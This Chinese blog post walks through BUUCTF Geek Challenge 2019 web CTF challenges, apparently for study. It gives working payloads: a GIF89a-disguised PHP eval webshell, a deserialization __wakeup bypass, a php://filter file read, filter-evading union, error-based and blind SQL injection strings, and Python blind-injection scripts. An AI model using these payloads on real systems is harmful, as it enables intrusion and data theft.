BUUCTF-极客大挑战2019

[极客大挑战 2019]Havefun

在这里插入图片描述
查看源代码,发现了php代码,意思是get传入的参数cat等于dog,则输出flag
在这里插入图片描述

Payload:?cat=dog

在这里插入图片描述

[极客大挑战 2019]Knife

在这里插入图片描述
提示很明显,有一个shell,使用蚁剑或菜刀连接,密码是Syc

在这里插入图片描述
连接上去后,直接cat /flag
在这里插入图片描述

[极客大挑战2019]Http

访问题目地址
在这里插入图片描述
什么也没发现,查看源码,发现了Secret.php
在这里插入图片描述
访问Secret.php,页面提示It doesn’t come from ‘https://www.Sycsecret.com’,和攻防世界的一道题类似,需要修改请求头
在这里插入图片描述
伪造网址(referer),使用burpsuite抓包,请求头加入Referer:https://www.Sycsecret.com,发现了新提示Please use “Syclover” browser
在这里插入图片描述
伪造浏览器(UA),将User-Agent的值修改为Syclover,又提示只能再本地访问
在这里插入图片描述
伪造本地(X-Forwarded-For),继续在请求头添加X-Forwarded-For: 127.0.0.1,flag就出来了
在这里插入图片描述

[极客大挑战2019]upload

上传1.php
在这里插入图片描述
上传图片马1.jpg
在这里插入图片描述
对php的内容进行了过滤,用&lt;代替一句话木马里面的<,上传
在这里插入图片描述
进行黑名单绕过,通过上传不受欢迎的php扩展来绕过黑名单。例如:pht,phpt,phtml,php3,php4,php5,php6

把1.jpg修改为1.phtml,并且把一句话木马替换为<script language="php">eval($_POST['shell']);</script> 再上传。
在这里插入图片描述
仍然不行
在这里插入图片描述
最后添加GIF89a,GIF89a图片头文件欺骗,成功上传shell

GIF89a
<script language="php">eval($_POST['shell']);</script> 

在这里插入图片描述
猜测上传路径位upload,即url/upload/1.phtml

在这里插入图片描述
在目录查找flag
在这里插入图片描述

[极客大挑战2019]PHP

访问靶机地址
在这里插入图片描述
提到了备份网站,直接访问www.zip文件,flag.php里面有个假的flag
在这里插入图片描述
查看一下index.php,发现要用get方式提交参数select
在这里插入图片描述
再查看class.php文件,考查反序列化和两个魔法函数__wakeup__destruct

<?php
include 'flag.php';
error_reporting(0);
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function __wakeup(){
        $this->username = 'guest';
    }
    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();         
        }
    }
}
?>

审计一下代码,如果password=100且username=admin,在执行__destruct()的时候可以获得flag

构造序列化

<?php
class Name
{
    private $username = 'admin';
    private $password = '100';
}
$a = new Name();
echo serialize($a);
?>

序列化后的结果:

O:4:"Name":2:{s:14:"Name username";s:5:"admin";s:14:"Name password";s:3:"100";}

在这里插入图片描述

我们要绕过__wakeup这个魔术函数,利用反序列化漏洞,当序列化字符串中表示对象属性个数的值大于真实的属性个数时会绕过__wakeup的执行

将上面的序列化后字符串,类中变量的个数由真实值2修改为3。

O:4:"Name":3:{s:14:"Name username";s:5:"admin";s:14:"Name password";s:3:"100";}

在这里插入图片描述

private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。私有字段的字段名在序列化时,类名和字段名前面都会加上0的前缀。字符串长度也包括所加前缀的长度

再次修改序列化的结果

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

在这里插入图片描述

[极客大挑战 2019]Secret File

访问靶机地址
在这里插入图片描述
似曾相识的黑页,直接查看源代码,发现了Archive_room.php
在这里插入图片描述
访问Archive_room.php
在这里插入图片描述
点击SECRET,页面显示:查阅结束 没看清么?回去再仔细看看吧。
在这里插入图片描述
使用Burpsuite抓包,发现了secr3t.php
在这里插入图片描述
访问secr3t.php,内容为

<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>
</html>

存在inculde函数,需要用到文件包含来读取文件

Payload:?file=flag.php

在这里插入图片描述
审计代码,发现过滤了data,input,ftp等关键字,没有过滤file

Payload: ?file=php://filter/convert.base64-encode/resource=flag.php

在这里插入图片描述
再将字符串进行base64解密即可得到flag
在这里插入图片描述

[极客大挑战 2019]BuyFlag

在这里插入图片描述
点击右侧菜单中的PAYFLKAG进入pay.php,在源码中发现了部分代码

~~~post money and password~~~
if (isset($_POST['password'])) {
	$password = $_POST['password'];
	if (is_numeric($password)) {
		echo "password can't be number</br>";
	}elseif ($password == 404) {
		echo "Password Right!</br>";
	}

需要通过POST方式传入变量password的值,且is_numeric()函数限制了变量$password不能为数值型,但又需要变量$password等于404,弱类型绕过,使用password = 404a 进行绕过
在这里插入图片描述

页面提示Only Cuit’s students can buy the FLAG,修改Cookie的值,改为user=1
在这里插入图片描述

可以进入,提示Flag need your 100000000 money,传入money=100000000,发现页面无回显。忘了修改传参方式,php代码中传参方式为post,并且添加POST头信息:Content-Type: application/x-www-form-urlencoded
在这里插入图片描述
传入password=404a&money=100000000,提示Nember lenth is too long
在这里插入图片描述
老版本PHP不能输入8位字符,使用科学计数法money=1e9绕过
在这里插入图片描述

[极客大挑战 2019]EasySQL

访问网址
在这里插入图片描述
试试管理员弱密码登陆,提示错误的用户名密码
在这里插入图片描述

试试万能密码1' or 1=1#登录
在这里插入图片描述
登录成功,得到flag
在这里插入图片描述

[极客大挑战 2019]BabySQL

在这里插入图片描述1. 万能密码注入
尝试万能密码 1' or 1=1 #,报错语句中没有看到or,or被过滤
在这里插入图片描述尝试双写or:1' oorr 1=1 #,没有报错,应该是双写绕过
在这里插入图片描述

  1. 查字段
Payload: ?username=admin&password=1%27 union select 1 %23

报错提示中只保留了 1# ,说明union和select都被过滤了
在这里插入图片描述
双写union和select,继续注入

Payload: ?username=admin&password=1 %27 ununionion seselectlect 1 %23

注入成功,但报错语句告诉我们列数不对
在这里插入图片描述
继续构造payload:

?username=admin&password=1%27 ununionion seselectlect 1,2,3 %23

发现注入成功,字段为3
在这里插入图片描述3. 爆数据库

Payload: ?username=admin&password=1%27 ununionion seselectlect 1,2,database() %23

获取到当前库名为geek
在这里插入图片描述

查看所有库名

Payload:
?username=admin&password=1%27 ununionion seselectlect 1,2,group_concat(schema_name)frfromom
(infoorrmation_schema.schemata) %23

看到了一个名为ctf的数据库,flag应该在这
在这里插入图片描述

  1. 查表
Payload: ?username=admin&password=1%27 ununionion seselectlect 1,2,group_concat(table_name)frfromom(infoorrmation_schema.tables)whwhereere table_schema="ctf" %23

发现了一个名为Flag的表
在这里插入图片描述

  1. 查字段名
Payload: ?username=admin&password=1%27 ununionion seselectlect 1,2,group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere table_name="Flag"%23

在这里插入图片描述

  1. 获取数据
Payload: ?username=admin&password=1%27 ununionion seselectlect 1,2,group_concat(flag)frfromom(ctf.Flag)%23

得到flag
在这里插入图片描述

[极客大挑战 2019]LoveSQL

在这里插入图片描述
尝试使用万能密码登陆成功,跳转到了check.php页面。并得到了用户名和密码
在这里插入图片描述
1.爆字段数
注意:输入框的用#,地址栏的用%23

username和password都可以注入,我们使用username作为注入点

?username=1' order by 1%23&password=123456

在这里插入图片描述
当数值为4时报错,说明字段数为3

Payload: ?username=1' order by 3%23&password=123456   #存在
Payload: ?username=1' order by 4%23&password=123456   #报错

在这里插入图片描述
2.确定回显位

Payload: ?username=1' union select 1,2,3%23&password=123456

此时有回显,回显点位为2和3
在这里插入图片描述

3.联合查询爆数据库

Payload: ?username=1' union select 1,database(),version()%23&password=123456

查询到当前数据库名是geek,且版本为10.3.18-MariaDB
在这里插入图片描述
4.爆表名

Payload: ?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=123456

得到两个数据表名:geekuser和l0ve1ysq1
在这里插入图片描述
5.爆字段
geekuser表

Payload: ?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='geekuser'%23&password=123456

l0ve1ysq1表

Payload: ?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=123456

两个表查询结果都是一样的
在这里插入图片描述
6.爆数据
geekuser表

Payload: ?username=1' union select 1,2,group_concat(id,username,password) from geekuser%23&password=123456

geekuser表没有找到flag
在这里插入图片描述
l0ve1ysq1表

Payload: ?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=123456

找到了flag
在这里插入图片描述

[极客大挑战 2019]FinalSQL

访问靶机地址
在这里插入图片描述
提醒的很明确了,这道题考察SQL盲注,异或注入

点击这五个数字,点到数字5时,提示看第六个,此时地址栏id=5
在这里插入图片描述
把id值改为6,告诉我们对了,但是不是这张表
在这里插入图片描述
使用异或进行sql注入,输入1^1回显’ERROR’
在这里插入图片描述
输入1^0回显’NO! Not this! Click others~~~’
在这里插入图片描述
判断出为数字型注入,fuzz一下,发现过滤了空格,union等关键字
在这里插入图片描述
Python脚本来源

1.猜解当前数据库名

import requests
import time

host = "http://0411dac9-a30a-4fdb-bda2-92e62ed6e93d.node3.buuoj.cn/search.php?"
def database_name():  #获取数据库名
    global host
    name=''
    for i in range(1,1000):
        low = 32
        high = 128
        mid = (low+high)//2
        while low < high:
            url = host + "id=1^(ascii(substr((select(database())),%d,1))<%d)^1" % (i,mid)
            res = requests.get(url)
            if "others~~~" in res.text: 
                high = mid
            else:
                low = mid+1
            mid=(low+high)//2
        if mid <= 32 or mid >= 127:
            break
        name += chr(mid-1)
        print("database_name: "+name)
database_name()

数据库名为geek
在这里插入图片描述

2.猜解数据库中表名

import requests
import time

host = "http://0411dac9-a30a-4fdb-bda2-92e62ed6e93d.node3.buuoj.cn/search.php?"
def table_name(): #获取表名
    global host
    name=''
    for i in range(1,1000):
        low = 32
        high = 128
        mid = (low+high)//2
        while low < high:
            url = host + "id=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')),%d,1))<%d)^1" % (i,mid)
            res = requests.get(url)
            if "others~~~" in res.text: 
                high = mid
            else:
                low = mid+1
            mid=(low+high)//2
        if mid <= 32 or mid >= 127:
            break
        name += chr(mid-1)
        print("table_name: "+name)
table_name()        

两个表,FinaT1yFlaaaaag,flag应该在Flaaaaag表里面
在这里插入图片描述

3.猜解表中的字段名

import requests
import time

host = "http://0411dac9-a30a-4fdb-bda2-92e62ed6e93d.node3.buuoj.cn/search.php?"

def column_name(): #获取列名
    global host
    name=''
    for i in range(1,1000):
        low = 32
        high = 128
        mid = (low+high)//2
        while low < high:
            url = host + "id=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='Flaaaaag')),%d,1))<%d)^1" % (i,mid)
            res = requests.get(url)
            if "others~~~" in res.text: 
                high = mid
            else:
                low = mid+1
            mid=(low+high)//2
        if mid <= 32 or mid >= 127:
            break
        name += chr(mid-1)
        print("column_name: "+name)
column_name()

查出来两个字段,idfl4gawsl
在这里插入图片描述
4.猜解数据

import requests
import time

host = "http://0411dac9-a30a-4fdb-bda2-92e62ed6e93d.node3.buuoj.cn/search.php?"

def getData():#
    global host
    name=''
    for i in range(1,1000):
        low = 32
        high = 128
        mid = (low+high)//2
        while low < high:
            url = host + "id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))<%d)^1" % (i,mid)
            res = requests.get(url)
            if "others~~~" in res.text: 
                high = mid
            else:
                low = mid+1
            mid=(low+high)//2
        if mid <= 32 or mid >= 127:
            break
        name += chr(mid-1)
        print("getData: "+name)

getData()

得到flag
在这里插入图片描述

[极客大挑战 2019]HardSQL

在这里插入图片描述
尝试万能密码登陆,还是跳转到check.php,结果提示。。。
在这里插入图片描述
过滤了= 、空格、 union等关键字,可以利用报错注入,使用extractvalue和updatexml函数进行报错注入
方法一:updatexml报错注入

1.查库
Payload:?username=admin&password=1'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23
结果:~geek~
2.查表
Payload:?username=admin&password=1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23
结果:~H4rDsq1~
3.查字段
Payload:?username=admin&password=1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23
结果:~id,username,password~
4.查数据
Payload:?username=admin&password=123456'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))%23
结果:~flag~flag{83446376-78aa-421a-86right()语句在查询后面部分
Payload:?username=admin&password=1'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23
结果:~a-421a-868c-5547b4941c61}~

方法二:extractvalue报错注入

1.查库
Payload:?username=admin&password=1'^extractvalue(1,concat(0x7e,(select(database()))))%23
结果:~geek~
2.查表
Payload:?username=admin&password=1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek')))))%23
结果:~H4rDsq1
3.查字段
Payload:?username=admin&password=1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1')))))%23
结果:~id,username,password
4.查数据
Payload:?username=admin&password=1'^extractvalue(1,concat(0x7e,(select(password)from(H4rDsq1))))%23
结果:~flag{83446376-78aa-421a-868c-55
剩下的部分
Payload:?username=admin&password=1'^extractvalue(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1))))%23
结果:~a-421a-868c-5547b4941c61}~

拼接flag时,注意下一半flag开始的位置,最后的flag为flag{83446376-78aa-421a-868c-5547b4941c61}

总结

1.等号被过滤,使用like代替
2.空格被过滤,利用括号绕过

posted @ 2021-01-27 12:09  atkx  阅读(418)  评论(0编辑  收藏  举报